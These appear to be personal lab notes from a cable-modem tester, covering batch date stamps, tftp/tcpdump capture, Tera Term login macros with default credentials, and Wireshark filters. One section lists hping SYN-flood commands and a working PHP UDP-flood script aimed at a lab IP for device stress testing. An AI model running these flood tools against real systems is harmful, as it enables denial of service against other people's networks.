Bash append file to date and time format

Some people would like to export or append your file or log name after the date and time format, like this YYMMDD_MMHHSS.

i have a script it is able to append in this style

@ECHO OFF
set datetime=%date:~0,4%-%date:~8,2%-%date:~0,2%_%time:~0,2%%time:~3,2%%time:~6,2%
set datetime=%datetime: =0%
echo hello >>%datetime%.txt
EXIT

It will output like this "2020-17-20_104919.txt"

if you don't want the second just modify like this

set datetime=%date:~0,4%-%date:~8,2%-%date:~0,2%_%time:~0,2%%time:~3,2%%time:~4,0%

Resource: 

https://stackoverflow.com/questions/1192476/format-date-and-time-in-a-windows-batch-script

ddos and security

DDOS Related attack command

command:
1. run attac, and run bulk call should not have problem

hping2  wan0 -2 0i u2 -I eth1

hping2  mta0 -2 0i u2 -I eth1

2. while running attack =, on CPE browser WEB will cause kernel panic
hping3 -V -c 10000 -d 300 -S -p 80 -w 1500 --flood 10.15.3.4 (dummy0.3)
CPE1(lan)-------
CM-------
CMTS-----------CPE2(linux/ubuntu)
CPE1: open browser (youtube channel)
CPE2: used linux to run hping

Script to attach:

<?php 

$host = '10.200.114.18';

$pps = 5000; 

$tune = 125; 

$sock = socket_create( AF_INET, SOCK_DGRAM, SOL_UDP ); 

$uslp = (1000000 / $pps) - $tune; 

if( $uslp < 0 )

$uslp = 0; 

for( $i = 6500000; $i > 0; $i-- )

{ $port = rand( 1025, 65535 ); socket_sendto( $sock, 'LUT2', 4, 0, $host, $port ); usleep( $uslp ); }

?>

IP Passthrough

How to test IP PASS Through

TEST STEP:

With MAC address

1)      Let modem to get online

2)      Connect CPE to CM on lan side

3)      Access GUI from Lan side, and add cpe mac address from ip passthrough

4)      CPE will get the same domain as erouter0

5)      Ping to cpe from CMTS or back of cmts

CPE1----------CM--------------CMTS------------CPE2

Cpe1 will get a public ip (same domain as erouter0)

CPE2 should be able to ping to CPE1

bsod

check BSOD on CMTS

#show cable l2-vpn xconnect dot1q-vc-map

Set VLAN on your config

tcpdump and tftp command

1. Window TFTP Command
tftp -i [IP ADD] [PUT|GET][ FILE NAME]
-g:     get file
 -r:     remote
 -p:     put file
  -l:     local

tftp -i 192.168.1.55 PUT test.txt

2. TFTP Linux
Example: 

tftp [-g|-p]  -r FILENAME SERVERIP

Download: 

tftp -g -r tcpdump 192.168.1.50

Upload

example: tftp -p -r test.txt 192.168.1.50

3. TCPdump and tftp Command, doing packet capture under ROUTER 
You can do this on linux PC also 

Capture all packet:

#cd /var/tmp

#tcpdump -nni any

Capture wan0 interface 

tcpdump -i wan0 -s 0 -w wan0.pcap&

stop capture packet, kill process id

#ps |grep .pcap

#kill -s tcpdum 'pid'

upload to your pc by tftp command

tftp -l wan0.pcap -p 192.168.1.50

Macro-Script

How to used Macro Script(Terateam) to do studd like console:

Example 1 using telnet method to login cisco server or router: 
File name: telnet_cisco.ttl

timeout = 10

connect '192.168.1.252:23 /nossh /T=1'




;Wait a prompt message to login

wait 'Username:'

; Send username

sendln 'cisco'




;Wait for a keyword to enter password

wait 'Password:'

; Send password

sendln 'cisco'

File name: cisco.bat

@echo off

cd C:\Program Files (x86)\teraterm

TTERMPRO /m=D:\Macro_script\telnet_cisco.ttl

pause

How to used it:
Just run the cisco.bat, it will automatic telnet  for you.

Example 2: using serial comport to login your console 
File name: comport.ttl

pause 5

;sendin command

sendln "pacm "

pause 2

;closett will close the screen

closett

File name: comport.bat

@echo off

cd C:\Program Files (x86)\teraterm

TTERMPRO /C=3 /BAUD=115200 /c=3 /m=D:\comport.ttl

pause

How to used it:
Just run the comport.bat, it will automatic accees using terateam to open com-port3 to your DUT console. If  you have different com-port just changed the c=3 to correct com-port. My console port is 3, so I set to 3.

wireshark Filter

Find IPV4 MAC address for DHCP

bootp.hw.mac_addr ==XX:XX:XX:XX:XX:XX

Find IPV6 MAC address for DHCP

dhcpv6.duidll.link_layer_addr == “XX:XX:XX:XX:XX:XX”

Find DNS Qeuery:

dns.qry.name == “XXX.XX.com”

Filter specific IP address overnight or many days. 

If you used above method, your PC might hang. Basely above capture all the packet and just filter. But this is not the best way if you want to capture many hours.  

In order to solve this problem, you have to just capture you wanted packet, it will not capture other packet. 

capture>options>capture filter>type your target to filter(ex: host xxx.xxx.xxx.xxx && udp port=XX)